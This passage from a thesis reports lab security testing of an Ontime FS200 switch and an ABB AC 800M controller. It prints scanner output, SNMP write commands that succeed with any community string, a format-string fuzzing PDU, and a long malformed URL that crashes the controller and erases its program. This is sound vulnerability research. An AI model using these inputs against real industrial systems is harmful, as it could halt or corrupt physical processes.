plugin reports that it was able to break the following FTP accounts:
7.4. ONTIME FS200
username:
username:
username:
username:
username:
username:
username:
admin
admin
admin
admin
admin
admin
admin
101
password:admin
password:
password:nocrc
password:albany
password:aaa
password:albatross
password:albert
Nessus states that the FTP server actually accepts any login/password combination.
That means that that there is no real protection of the FTP server. We already mentioned the anonymous user account for firmware upgrades so there is no actual effect
of having a user authentication mechanism running on the switch. This is a real threat
since anyone can browse the FTP section of the switch without any authentication. Some
FTP servers have the additional vulnerability of allowing an user to log on as ”/” and
thereby allowing this account to access arbitrary files on the remote device. We have
not found the time to test this possible vulnerability in this thesis, but we feel that the
consequences of such an possibility deserves a mention.
Nessus states that it is possible to force the FTP server to connect to third parties
hosts by using the PORT command. This allows attacker to use the switches network
resources to scan and attack other hosts. This could be critical, if traffic from the device
is allowed to traverse some network boundary such as a firewall. This makes the switch
an ideal attack platform for an attacker. It is also possible to use other FTP commands
followed by a too long argument to crash the FTP service.
Nessus detects a NTP server running on the switch and provides us with the time
difference from our local system clock.
Nessus states that the remote SNMP server replies to the following default community
strings:
• private
• public
• cisco
It also obtains the following information form the system MIB in the switch.
sysDescr
sysObjectID
sysUptime
sysContact
sysName
sysLocation
sysServices
:
:
:
:
:
:
:
Ontime Networks switch FS200. Software version = 2.32
1.3.6.1.4.1.16177.1.1
0d 1h 32m 37s
ABB lab
musec
nocrc
72
102
7.4.6
CHAPTER 7. TEST RESULTS
IP Stack Integrity Checker
IP Stack Integrity Checker (ISIC) is described in section 5.2.3. We ran ISIC to stress
test the IP stack of the switch. We sent 300 000 fragmented IP version 4 packages to the
switches IP address. We also sent ping requests through the switch during this test. We
got the following results. After the attack the IP address of the switch did not respond
to ping requests or to higher level interaction such as SNMP get messages, FTP or telnet
requests. The test had killed all IP based services on the switch, but the switch still
switches traffic. The switch needed a restart to resume normal operations on IP level.
The switch continued to switch the ping requests sent through it both under and after
the test. We performed this test several times to try to determine how many packages to
takes to break the IP stack. The results are inconclusive. They range between 200 000
and 550 000 packages and we have not been able to come up with any good reason for
such a large deviation. The only reason we can think of are some internal race conditions
it the VxWorks operating system triggering the crash.
SNMP Community Strings
We noted that Nessus stated that the switch responded to default community names
such as public, private and cisco. We started to wonder what other community names
it might be valid. So we started sending SNMP get requests to the switch with different
community names. The test examples are included below.
linux-lab:/# snmpget -v1 -Cf -c public 193.75.73.20
SNMPv2-MIB::sysContact.0 = STRING: jts
system.sysContact.0
linux-lab:/# snmpset -c public -v1 193.75.73.20 system.sysContact.0 s nissen
SNMPv2-MIB::sysContact.0 = STRING: nissen
linux-lab:/# snmpget -v1 -Cf -c public 193.75.73.20
SNMPv2-MIB::sysContact.0 = STRING: nissen
system.sysContact.0
We seen above that we have both read (get) and write (set) access through the public SNMP community string. We decided to test some other community strings. We
demonstrate below.
linux-lab:/# snmpget -v1 -Cf 193.75.73.20 -c null
SNMPv2-MIB::sysContact.0 = STRING: nissen
system.sysContact.0
7.4. ONTIME FS200
103
linux-lab:/# snmpget -v1 -Cf 193.75.73.20 -c nil
SNMPv2-MIB::sysContact.0 = STRING: nissen
linux-lab:/# snmpget -v1 -Cf 193.75.73.20 -c root
SNMPv2-MIB::sysContact.0 = STRING: nissen
linux-lab:/# snmpget -v1 -Cf 193.75.73.20 -c 0
SNMPv2-MIB::sysContact.0 = STRING: nissen
system.sysContact.0
system.sysContact.0
system.sysContact.0
We discovered that we can use any community string to request and read valid SNMP
data from the switch. The community string is simply not checked. We wanted to test
if there was any access control on writing through SNMP set so we chose an absurd
community string and tried to write a new value for the system contact.
linux-lab:/# snmpset -c gudoghvermann -v1 193.75.73.20 system.sysContact.0
s rudolf
SNMPv2-MIB::sysContact.0 = STRING: rudolf
linux-lab:/# snmpget -v1 -Cf 193.75.73.20 -c gudoghvermann
system.sysContact.0
SNMPv2-MIB::sysContact.0 = STRING: rudolf
We see that even with the community string gudoghvermann which certainly is not a
default community string, we are allowed to read and write information on the switch.
We have show that this switch does not have any access restrictions sett on reading
or writing through SNMP. Any attacker might use the Interfaces group or Ip group
to alter critical information used in the switching process. For more information on
SNMP’s Interfaces group or Ip group we refer to [46].
7.4.7
Protos Project Test Suite
After discovering the lack of SNMP access control in the switch, we tested the SNMP
service with the Protos project test suite. We used the test setup described in section 7.1
and the configuration options for Protos described in section 5.2.5. When we reviewed
the logs we found that we could identify several SNMP tests that caused the switches
operating system to fail. One such test is test number 10576. Below we have included a
dump of one of the tests in the Protos project test suite.
000000
000016
30 2c 02 01 00 04 06 70 75 62 6c 69 63 a2 1f 02
01 00 02 01 00 02 01 00 30 14 30 12 06 08 2b 06
0,.....public...
........0.0...+.
104
000032
CHAPTER 7. TEST RESULTS
01 02 01 01 05 00 04 06 25 73 25 6e 25 78
........%s%n%x
Above we have, in the left column byte numbers, in the middle we have a hexadecimal
representation of the SNMP PDU and to the right we see a textual representation of the
actual data. We can read the community string, public from the text but nothing else
makes sense. We find the result of this PDU very interesting. As we stated in section
5.2.5, we send a valid test case to the switch after each real test to see if responds in a
normal manner. Below we have included the log printout from the Protos project test
suite:
test-case #10576: injecting meta-data 0 bytes, data 40 bytes
waiting 100 ms for reply...0 bytes received
test-case #10576: injecting valid case...
waiting 100 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 100 ms. Retrying...
waiting 200 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 200 ms. Retrying...
waiting 400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 400 ms. Retrying...
waiting 800 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 800 ms. Retrying...
waiting 1600 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 1600 ms. Retrying...
waiting 3200 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 3200 ms. Retrying...
waiting 6400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 6400 ms. Retrying...
waiting 12800 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 12800 ms. Retrying...
waiting 25600 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 25600 ms. Retrying...
waiting 51200 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 51200 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...0 bytes received
7.4. ONTIME FS200
105
test-case #10576: No reply to valid case within 102400 ms. Retrying...
waiting 102400 ms for reply...46 bytes received
Above we see that it takes a very long time, approximately 11,9 minutes, before the
switch responds to the valid test case. We after discussing this result with people at
ABB CRC, we have concluded that the switch actually reboots its operating system
sometime during this period of time and due to this starts to respond again. We have
checked and seen that all other services are unavailable on the switch during this time
and we feel that this supports our conclusion of a reboot. We have discovered that
the Protos project test suite manages to manipulate the switch to restart its operating
system. When reviewing the ping log we found that the switch switches ping traffic
during the reboot but it does not respond to any IP based services on the switch.
7.4.8
Mu-4000 Report
We tested the following protocols when running Mu-4000 tests against the switch.
• ARP
• IP v4
• SNMP v1 and v2c
• UDP
We have included the report from Mu-4000 in section D.3. We see that the Mu-4000
report findings in SNMP version 1 and 2c, as well as errors in the handling of IP options
when carrying UDP payloads. All findings in the IP protocol are either related to
a misaligned timestamp in the IP options field or routing features in the IP options
header. This indicates that the current IP ( and possibly UDP) stack handles this in an
erroneous manner. Whether these findings in the IP stack pose any real security threat
to the switch can only be descided through further testing, but due to time constraints on
this thesis, we will the further testing of this switch to others. All other reported errors
relate to SNMP. All errors found in SNMP version 1 relate to the SNMP Set command.
The reported errors in SNMP v2c are related to the SNMP Get-Bulk command. Half of
these errors comes from setting a erroneous value in the Max Repetitions fields of SNMP
Get-Bulk PDU and the others relate to a value field specifying the information requested
in the SNMP Get-Bulk PDU.
7.4.9
Ontime Discussion
We found many potential vulnerabilities in this switch, but the switching process never
stopped during our tests. We have summarized the test results in table 7.6 in section
7.4.1. We find several class two and three vulnerabilities that pose as a security risk and
106
TN
SNMP
RPC
IP/UDP
FTP
NTP
CHAPTER 7. TEST RESULTS
Ontime FS200
Nmap FTPlogin
X
TNlogin
X
Nessus
X
X
ISIC
SNMP
Mu-4000
X
X
X
X
X
X
X
X
X
Detected
Risks
X
X
X
X
X
Table 7.7: The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools. The abbreviation TN is a
abbreviation for the Telnet and SNMP is a label for both the SNMP community name
test and the Protos test suite.
should be dealt with quickly. We even though we have not found any clear weaknesses
in the RPC functionality and the FTP upload mechanism, we are especially concerned
about these services as might be used to damage the switches operating system.
In table 7.7 we show which tools detect the services running on the Ontime FS200. We
see that Nmap only found three of the five application level services running on the
switch and that Nessus missed the RPC service. This is a clear indication that one
should use more that one network scanner when testing DCS devices for security issues.
The switch relies on services like telnet, FTP and SNMP for management purposes, all
these services send the user id and password in clear-text over the network. So there is
no point for an attacker to bruteforce his way into a user account as he may observe the
password on the network. We also discovered that the switch actually is lacking basic
access control on both these services, so an potential attacker does not need to worry
about eavesdropping passwords on the network as she can log on with any username
and password. Since these services can be characterized as, in our opinion, open, anyone
can access and potentially abuse the switch through these services. We feel that this is
especially important on this switch, as it is running a full VxWorks operating system.
Even with the limited resources available inside the switch the switch may be used as
a launchpad for attacks on other entities. As the switch does not check the SNMP
community name, anyone with a SNMP client have free write access to the whole SNMP
management information base (MIB) including the IP MIB where the mapping from IP
to ethernet addresses is kept. We have during testing read the mapping table but due
to time constraints we did not try to alter this table, but as we have verified through
our tests earlier we have full write access to the SNMP MIB. So by not using the minor
security mechanisms offered in SNMP the Ontime switch’s MIB lies open for alteration.
Nmap discovered the RPC service rpcbind running on the switch. RPC supports authentication either through a authentication field in the RPC header or through the use of
cryptographic authentication [12]. The cryptographic authentication is either based on
7.4. ONTIME FS200
107
the Data Encryption Standard (DES) or the Kerberos Network Authentication Protocol.
With either type of authentication, a host is expected to cache the authentication data
so that all future messages only must include a reference pointer to the cached value in
the header instead of a full authentication field. But as both DES and Kerberos require
an encryption key scheme and additional resources to cache the authentication values,
we do not think this authentication method is used in industrial devices with limited
memory and processing power. That leaves us with the authentication field in the RPC
header. The authentication field may contain a null authentication variant allowing for
anonymous RPC calls from anyone [12]. For access restricted services a UNIX authentication field is included. This field contain the user-id and group-id of the user sending
the RPC call. Together with the IP address of the caller, the user-id and group-id can
be used to identify the caller [12]. But even if the authentication field contain the userid and group-id of a root user and comes from a privileged port, which all indicates a
true root user, the whole package may have been constructed by a malicious user. As
the whole authentication field only provide possible identification of the user and not
authorization of the user the whole security value in this scheme is questionable at best.
Especially if a malicious user is capable of performing program calls to the switches OS
through RPC.
Nessus found a buffer overflow vulnerability in the telnet server and managed to kill
the telnet service. Even though this is not a critical vulnerability, the switch must be
restarted before the service is restored. It also discovered that it is possible to force
the FTP server to connect to third parties hosts. This allows an attacker to use the
switches network resources to interact with third party hosts and possibly gain access to
important information. This could be critical, if traffic to or from the device is allowed
to traverse the firewall separating the DCS network from the corporate one.
Nessus detects a NTP server running on the switch, but fails to detect the RPC service
for some reason. We are not able to why Nmap fails to recognizes NTP and why Nessus
did not detect RPC. It might be that both the NTP and RPC service are based on an
implementation that differs from the signatures recognized by Nessus and Nmap.
We tested the switch with ISIC application several times and each we killed the IP
interface on the switch. It would not respond to ping or any other IP based service. The
switch required a restart to respond to IP based requests again. During our tests we
observed that there were a large deviation in the number of packages needed to crash
the switch, but we think this possibly relates to some internal race condition inside the
switches OS such as a memory clean up routine. The Protos test suite also crashed all IP
based services on the switch but this time the switch booted its OS again after a certain
amount of time. We wished to test if it might be the same race condition that was
triggered by both the ISIC and the Protos test tool. We left the switch in 10 hours after
a ISIC test but after this period of time is was still unresponsive. So this might indicate
that there are more then one race condition that may be triggered in the switch. But as
we do not have any possibility to interact directly with the switches OS or examine logs
or memory dumps we can only base our assessments on the switches observed external
108
CHAPTER 7. TEST RESULTS
behavior.
The Mu-4000 reports that it finds errors in both SNMP version 1 and 2c it would have
been interesting to discover if these errors are the same as those found in the Protos test
suite, but as we have a time constraint on this thesis, we must leave this for others to
test. The errors found in the handling of IP options, indicate that the implementation
of IP stack it self might contain errors.
As seen in table 7.7 we find many erroneous services, but the switch still preform it’s
main objective, to switch, packages. Even though the basic service remain intact we feel
that the switch should be patched properly to remove the detected vulnerabilities as it
is not certain what a more skillful adversary might accomplish.
7.5
AC 800 M
We set up the AC 800 M controller with IP address 172.16.0.20 and installed the control
builder on an fully patched Windows XP machine with IP address 172.16.0.10. We set
up a linux box on IP address 172.16.0.30 to use as an attack platform for test. We define
the primary objective of the controller as: The ability to run the MMS counting upwards
application described in section 4.4.
7.5.1
Summary of AC 800 M Test Results
In table 7.8 we summarize the test results for the AC 800M controller. The RPC service
allows us to interact with the controller and extract information about any RPC service
running on the AC 800M. This is a typical information leak vulnerability, allowing an
attacker to learn more about a target. The webserver is vulnerable to both a buffer
overflow attack, by sending a long URL, and a HTTP format string attack. Both attacks
interrupts the primary objective on the controller. The HTTP format string attacks
completely crashes the controller while the long URL attack erases all applications from
the controller memory. We have not included the Mu-4000 test results in table 7.8 as we
are not able to determine exactly how a vulnerability manifests itself during a Mu-4000
scan. The report from the Achilles security team identifies several DOS vulnerabilities,
but we have chosen not to include them in table 7.8 as they are not our results. The
report is discussed later in this section. MMS vulnerabilities related to the controller are
discussed in chapter 8.
7.5.2
Nmap
We ran Nmap against the controller and got the response seen below. Nmap reports that
there are four services running on the controller. It runs a GoAhead-Webs embedded
httpd, which is the same web server as we discovered on the Moxa switch discussed in
7.5. AC 800 M
109
Service
HTTP
MMS
RPC
NTP
Total
Class one
2
0
0
2
Class two
0
0
0
0
0
Class three
0
0
1
0
1
Table 7.8: The table summarizes the test results from the AC 800M controller using the
classification defined in section 5.1.2.
section 7.2. We see that the controller runs an iso-tsap TCP service on port 102. This
must be the port for MMS communication.
Starting Nmap 4.20 ( http://insecure.org ) at 2007-06-08 09:14 CEST
Interesting ports on 172.16.0.20:
Not shown: 1694 closed ports
PORT
STATE SERVICE
VERSION
80/tcp open http
(GoAhead-Webs embedded httpd)
102/tcp open iso-tsap
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
1 service unrecognized despite returning data.
MAC Address: 00:00:23:0A:09:28 (ABB Industrial Systems AB)
Device type: WAP
Running: Netgear embedded
OS details: Netgear WPN824 RangeMax WAP
Uptime: 1.766 days (since Wed Jun 6 14:51:18 2007)
Network Distance: 1 hop
OS and Service detection performed.
Nmap finished: 1 IP address (1 host up) scanned in 10.146 seconds
The AC 800M controller runs a rpcbind service on TCP port 111. This seems to be the
same RPC service as we found on the Ontime switch in section 7.4. The service uses the
same RPC program number, so instead of repeating ourselves, we refer to the discussion
about RPC in section 7.4. Nmap also finds an unrecognizable service running on the
controller. When googeling the AC 800M we find many references to an Simple Network
Time Protocol client on the AC 800M so we might have identified the unrecognized
service.
110
7.5.3
CHAPTER 7. TEST RESULTS
RPC Services
We wished to see if the RPC service rpcbind has any registered RPC servers running
that did not show up on Nmap. To do this we used the linux tool rpcinfo. The rpcinfo
command makes an RPC call to an RPC server and reports what it finds. For more
information about rpcinfo and its options we refer to the man pages of rpcinfo. We first
tested the known RPC service rpcbind on port 111 and with program number 100000
to see what information we could get from a simple request. The -n flag specifies the
portnumber and the -u option identifies the host. The -p probes the rpcbind service
on the host and prints a list of all registered RPC programs. We have included the
commands and responses below.
root@server:~# rpcinfo -n 111 -u 172.16.0.20 100000
program 100000 version 2 ready and waiting
root@server:~# rpcinfo -p 172.16.0.20
No remote programs registered.
As seen above, the rpcbind service responds with its program number, version and status.
When we issue a general request for other RPC services running on AC 800M we find
that no remote programs are registered at rpcbind.
7.5.4
Nessus
We have included the full Nessus report in appendix E. Nessus identifies the unknown
service found by Nmap as NTP on port 123 and therefor verifies our assumptions in
section 7.5.2. Nessus also reports several issues regarding the web server. It reports a
vulnerability in the web server that kills the web server by sending it a HTTP request
triggering a buffer overflow. Nessus also states that this vulnerability also might be
exploitable to run malicious code on the controller. The web server is also susceptible
to exploits through HTTP format string attacks and buffer overflows by sending the
web server to long URLs. These are similar vulnerabilities as the first one and have
similar consequences for the AC 800M. Nessus identifies the MMS service as a ISO-tsap.
According to nessus the AC 800M is unresponsive on all ports after the vulnerability
scan. We tried to ping the controller after the scan, but got no response. This indicates
that one of vulnerabilities found in the web server crashes all services at IP level on the
AC 800M.
7.5. AC 800 M
7.5.5
111
Consequences of a Long URL Attack
We where interested to see what would happen to a program running on the AC 800M
when the device was attacked through one of the vulnerabilities reported by nessus.
We used the long URL vulnerability on AC 800M when it was communicating with the
control builder application using the same application as in section 4.4. We are using
the following lab setup. The AC 800M has IP address 172.16.0.20 and the workstation
IP address 172.16.0.10. The workstation uses TCP port 3053 to communicate with port
102 on the AC 800M.
The attacking host has IP address 172.16.0.30. We use a Firefox web browser to send
the HTTP request containing the URL seen below.
http://172.16.0.20/a/b/c/d/e/f/g/h/i/j/l/m/o/p/q/r/s/t/u/w/w/x/v/y/
z/a/a~
A¸l/kas/dfl~
A¸/ksjdf~
A¸/ljdkjh/dfgkhdfskg/fkjs/dfglkjsfhdgklf/sdf/
gfghrty/dsf/fgh/ghj/df/ds/dfh/h/df/fd/fgh/r/dfg/fgg/dfg/df/drs/
gh/dfs/dsf/gfh/df/df/gh/d/r/f/dfg/dfg/g/dfg/ds/sa/fd/gfh/gh/
fd/fgh/hj/j/f/d/fd/dfsg/dfsg/dfg/h/g/gfh/fg/hj/df/dfs/ds/e/r/f/kjd/
flkasflkhasdflkhslkdasf/cv/v/gf/a/aa/a/a/a/a/a/a/a/dss/s/d/
d/d/d/g/h/d/h/k/uy/f/f/r/y/i/r/w/d/b/j/k/f/s/f/h/r/f/g/j/d/s/fd/d/
lkjh/as/asdf/fgjh/hjlk/ty/sdfgsdfggsfdg/dsfg/dsfg/hj/fgd/gfjh/gfjh/
fgjh/hgk/fdh/sdfg/gjh/ghk/lks/fl~
A¸a/jsd/fl~
A¸/ka/sjflk/af~
A¸ls/jfl~
A¸a/
sjdf~
A¸/lasjf/~
A¸lajf/lasfj/lasdf/j~
A¸asd/fj~
A¸as/df~
A¸lj/fl~
A¸jd/flsaj/dfls/
ajfl/ks/djf/lkasdjf~
A¸asf~
A¸/lasflsdhfgkj/hglkds/fglkjhfgkf/ur/
er/wefwt/weryd/fkjd/g/h/r/f/h/d/d/fg/h/df.index.html
We first observed that the control builder application displaying the values from the AC
800M stopped counting and the values became meshed. The AC 800M flashed a red
LED light on its top status lamp. But after a while the AC 800M indicated that it was
sending data with the TX lamp above the ethernet socket contact in use. We got no
web page in our browser, but it was obvious that the browser was waiting for a response.
As the TX light continued to indicate transmission we used tcpdump to see if there were
any traffic originating from the controller. Restarted the AC 800M and used Wireshark
to dump all traffic to a pcap file. We also started to send ping request to the controller
before initiating the attack. We have included a selection of the ping log below. We
first we see that the controller is up and functioning normally, then the IP stack stops
responding, and comes up again and starts to respond to ping requests. So we know that
all IP based services are down as long as the red LED light on the controller flashes.
root@labserver:~# ping 172.16.0.20
PING 172.16.0.20 (172.16.0.20) 56(84)
64 bytes from 172.16.0.20: icmp_seq=1
64 bytes from 172.16.0.20: icmp_seq=2
64 bytes from 172.16.0.20: icmp_seq=3
64 bytes from 172.16.0.20: icmp_seq=4
bytes of data.
ttl=64 time=0.712 ms
ttl=64 time=0.708 ms
ttl=64 time= 0.723 ms
ttl=64 time=0.728 ms
112
CHAPTER 7. TEST RESULTS
64 bytes from 172.16.0.20: icmp_seq=5 ttl=64 time=0.726 ms
From 172.16.0.30 icmp_seq=36 Destination Host Unreachable
From 172.16.0.30 icmp_seq=37 Destination Host Unreachable
From 172.16.0.30 icmp_seq=38 Destination Host Unreachable
From 172.16.0.30 icmp_seq=40 Destination Host Unreachable
From 172.16.0.30 icmp_seq=41 Destination Host Unreachable
From 172.16.0.30 icmp_seq=42 Destination Host Unreachable
From 172.16.0.30 icmp_seq=44 Destination Host Unreachable
From 172.16.0.30 icmp_seq=45 Destination Host Unreachable
From 172.16.0.30 icmp_seq=46 Destination Host Unreachable
From 172.16.0.30 icmp_seq=48 Destination Host Unreachable
From 172.16.0.30 icmp_seq=49 Destination Host Unreachable
From 172.16.0.30 icmp_seq=50 Destination Host Unreachable
From 172.16.0.30 icmp_seq=52 Destination Host Unreachable
From 172.16.0.30 icmp_seq=53 Destination Host Unreachable
From 172.16.0.30 icmp_seq=54 Destination Host Unreachable
From 172.16.0.30 icmp_seq=56 Destination Host Unreachable
From 172.16.0.30 icmp_seq=57 Destination Host Unreachable
From 172.16.0.30 icmp_seq=58 Destination Host Unreachable
64 bytes from 172.16.0.20: icmp_seq=59 ttl=64 time=87.8 ms
64 bytes from 172.16.0.20: icmp_seq=60 ttl=64 time=0.800 ms
64 bytes from 172.16.0.20: icmp_seq=61 ttl=64 time=0.802 ms
64 bytes from 172.16.0.20: icmp_seq=62 ttl=64 time=0.812 ms
64 bytes from 172.16.0.20: icmp_seq=63 ttl=64 time= 0.800 ms
64 bytes from 172.16.0.20: icmp_seq=64 ttl=64 time=0.773 ms
64 bytes from 172.16.0.20: icmp_seq=65 ttl=64 time=0.724 ms
64 bytes from 172.16.0.20: icmp_seq=66 ttl=64 time=0.738 ms
--- 172.16.0.20 ping statistics --79 packets transmitted, 26 received, +18 errors,
67% packet loss, time 77999ms
rtt min/avg/max/mdev = 0.708/4.103/87.861/16.751 ms
When analyzing the pcap dump from Wireshark we found the following sequence of
events. We have included the pcap file on the CD accompanying this thesis. During the
first part of the dump, from PDU number 1 to 243, we observe normal communication
between the Ac 800M and the workstation similar to that we analyzed in chapter 4. At
PDU number 243 we see the TCP connection being set up between our attacking host
and the controller with a three-way TCP handshake. The connection is set up between
port 2475 on the attacking host and port 80 on the AC 800M. We follow the SYN,
SYN-ACK, ACK sequence of the TCP handshake and see the HTTP request as PDU
number 247 in the pcap file. Normal communication continues through PDU number
250 to 258. PDU 258 is a MMS confirmedServiceRequest with invokeId 104 similar to
7.5. AC 800 M
113
the one analyzed in section 4.4.3. The PDU is a request for the variable located at the
given unconstrainedAddress.
PDUs number 259 and 260 are TCP retransmission of the previous PDU. Then the
workstation sends PDU 261, which is similar to the PDU analyzed in section 4.4.1,
with invokeId 105. This is another confirmedServiceRequest. Then follows three more
TCP retransmissions (265-267) of PDU 258 with invokeId 104. On TCP level these are
labeled as a retransmission of frame 261. PDUs 268 to 270 are still TCP retransmissions
of frame 261, but these are without the COTPMMS payloads. They only contain TPKT
payloads labeled Continuation Data.
After this we see that the workstation sends a TCP SYN message from port 3054 to
port 102 on the controller. A SYN message is the first part of a three-way handshake
for setting up a new TCP connection. As a TCP connection is identified by the double
tuple of source and destination IP address and TCP ports we know that this is a new
connection. It is possible that the previous TCP connection still exists as our dump
does not contain any TCP messages with the FIN or RESET flag set. The workstation
attempts to establish a connection three times without any response.
Then we observe a Gratuitous Address Resolution Protocol (ARP) requests from the
AC 800M. Gratuitous ARP requests are sent out when a Network Interface Card (NIC)
comes up to allow other machines on the LAN to update their ARP tables mapping
IP to Media Access Control (MAC) addresses. The workstation then attempts to set
up another TCP connection. This time the AC 800M sends out a ARP broadcast
message asking for the ethernet address mapped to the workstations IP. Knowing the
workstations MAC address the AC 800M responds to the connection request with a TCP
message with SYN and ACK flags set. Then the workstation completes the connection
setup and continues with a COTP Connect Request PDU numbered 277 in the pcap file.
The AC 800M responds with a COTP Connect Confirm PDU. Now the workstation and
the AC 800M are able to emulate ISOs OSI transport protocol in the manner described
in section 4.3.
Then the workstation sends a MMS initiate-RequestPDU and starts to negotiate the
MMS connection. The AC 800M completes the connection with a initiate-ResponsePDU.
Now that the connection between the workstation and the AC 800M is restored we
observe something interesting. The controller sends a confirmedServiceRequest with
invokeId 2 similar to PDU number 258 the one analyzed in section 4.4.3. AC 800M
responds with a confirmedServiceResponce for a read request as earlier but this read
contains a failure message with a DataAccessError number 10. As seen in section A.2.4
this mapes to a failure: object-non-existent (10) status report.
By using the long URL vulnerability in the web server, we have restarted the AC 800M
and deleted the program running on the controller. But as the AC 800M restarted we
know that one of the other vulnerabilities detected by the nessus scan in the nessus scan
takes down the AC 800M permanently. We also note that in some cases the control
builder application must be restarted before it can resume communication with the AC
114
CHAPTER 7. TEST RESULTS
800M, but we have been unable to find out what exactly what triggers this.
7.5.6
Achilles Security Scan
ABB CRC had Wurldtech security [Ach07] preform a security assessment of the AC
800M as part of the Achilles certification program. The assessment was performed by
a team of Wurldtech engineers using the Achilles security scanner. We have included
their full preliminary report in appendix F, describing their setup and findings. We will
present their findings in this section.
Their first test was an Address Resolution Protocol (ARP) attack. They observed that
at rates below 150 packets per second they still received an occasional ICMP response
from the AC 800M. At rates above 150 packets per second no ICMP response. The
I/O operation of the AC 800M was not affected by this attack. After the attack the
workstation running the Control builder application could not reestablish ICMP ping
contact with the AC 800M until the ARP cache of the workstation was flushed. Despite
answering to ping requests the Control builder application could not reestablish communication with the AC 800M until the application was restarted. In some rare cases the
AC 800M or the workstation had to be powercycled to resume communication.
Their next test was an TCP syn flood attack. During this attack they observed that
when the attack was directed at an open port with rates over 6 700 packets per second,
the Control builder application lost contact with the AC 800M during the rest of the
attack. After the attack normal operations resumed.
The third test was a TCP land attack, where they craft a IP package with an source
and destination addresses equal to the address of the AC 800M. During this attack they
observed that when the attack was directed at an open port with rates over 4 500 packets
per second, the Control builder application lost contact with the AC 800M during the
rest of the attack. After the attack normal operations resumed.
They final test involves the use of a TCP fragmentation fuzzer. The fragmentation fuzzer
generates fragmented IP packages with randomized TCP payloads, and is a commercial
and more advanced version of the ISIC tool described in section 5.2.3. They found out
that at rates over 150 packages per second the AC 800M response time on ICMP ping
requests was grater that eight seconds and that the Control builder application looses
contact with the AC 800M during the rest of the attack. After the attack, contact is
restored to normal.
7.5.7
Mu-4000 Reports
We configured the Mu-4000 to use at 250 ms timeout value and zero delay for testing
the ICMP, ARP and SNMP suites. The inclusion of SNMP was an error in the test
setup at the AC 800 M do not run any SNMP services. Due to time constraints on
7.5. AC 800 M
115
our assignment and the availability of the Mu-4000 we have not been able to rerun
the test, excluding SNMP. We have included the full Mu-4000 report in appendix
E. We got the following results from our tests. The Mu-4000 reports 91 errors in
the AC 800M’s handling of ICMP echo requests. Almost all reported errors relate to
fragmented IP packages containing length and buffer overflows in the IP options fields.
We have performed additional testing by selecting very low Maximum Transfer Unit
(MTU) on our interface card and pinging the controller by using the parameter MTU
flag in ifconfig 5 . We discovered that the AC 800 M responds to normal fragmented ICMP
packages so the errors reported by the Mu-4000 must be due to the length and buffer
overflows indicated in the report. As the number of errors reported by the Mu-4000 was
very high we wished to rerun the test with more generous parameters to compare the
results. The parameters and reported errors are summarized in table 7.9.
Test
ICMP test 1
ICMP test 2
Delay
0 ms
2000 ms
Timeout
250 ms
10000 ms
Errors
91
0
Table 7.9: The table displays how the timeout, delay parameters relate to the number
of errors reported by the Mu-4000 on the AC 800 M.
We see that all errors disappeared when we used very high values on timeout and delay.
This might indicate that some of the errors relate to the limited processing power of the
AC 800 M.
7.5.8
AC 800M Discussion
We have summarized the test results in table 7.8 in section 7.5.1. We identified two class
one vulnerabilities that crashes the controller. These both relate to the web server and
we recommend that the webserver is patched or replaced. This is discussed further later
in this section. In table 7.10 we map the tools used in testing against the services and
protocols on the AC 800 M. The table also show which protocols contain vulnerabilities.
The vulnerability marked in MMS will be discussed in the next chapter.
There are several known vulnerabilities in RPC [CER07], and some relate directly to
rpcbind [12]. Exploiting these vulnerabilities may lead to denial of service, execution
of arbitrary code, or the disclosure of sensitive information. Both denial of service and
arbitrary code execution can have devastating effects in DCS networks.
We also wish to note that the MSBlaster worm [Mal07] used a vulnerability in RPC/DCOM
as its spreading mechanism. Even though MS Blaster altered windows register key concerning the windows automatic update function. Sometimes the worm would just cause
5
ifconfig is a linux tool. It is used to configure the kernel-resident network interfaces. It is used at
boot time to set up interfaces as necessary. After that, it is usually only needed when debugging or when
system tuning is needed. For more information about ifconfig we refer to the ifconfig man page where
this footnote is copied from
116
CHAPTER 7. TEST RESULTS
RPC
HTTP
TCP/IP
ICMP/IP
ARP
MMS
NTP
AC 800
Nmap
X
X
M
Nessus
X
X
X
X
Achilles
Mu-4000
Detected
Risks
X
X
X
X
X
X
X
X
X
X
Table 7.10: The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools.
a denial of service attack, crashing the RPC service [49] on the attacked host. Even
though AC 800 M does, to our knowledge, not run DCOM we feel that this show how
vulnerable RPC may be.
Nessus finds several vulnerabilities in the web server that crashed either some services
or in some cases the whole controller. These are really aggravating vulnerabilities and
should be patched as soon as possible. Nessus also detects the NTP service running
on the AC 800 M confirming our assumption about this service. All the vulnerabilities
found on the web server relates to known weaknesses in the handling of URLs in web
servers. These should have been patched long ago.
By analyzing the network communication while attacking the AC 800 M through a
long URL vulnerability we managed to interrupt the communication between, restart
the AC 800 M and erase the application it was running. This was accomplished by
sending a HTTP request to the AC 800 M web server. If HTTP traffic is allowed from
the corporate network to the SCADA network anyone can run this exploit against the
controller. Considering all the vulnerabilities found in this web server we feel that the
web server should be patched at the very least. As we have found two exploits for the
current version of this web server [Goa04b] [Goa04a] we feel that perhaps the entire web
server should be exchanged for an web server that is still updated and patched. One
should also consider that value of having a web server only capable of displaying static
web pages on the controller, perhaps it should be removed completely.
The most serious error uncovered by the Achilles security team was the vulnerability
towards ARP flooding as the AC 800 M did not recover and resume communication
after the attack. The cases where either the Control builder application or the AC 800
M had to be power cycled to resume communication are quite serious considering what
kind of equipment might be attached to the controller.
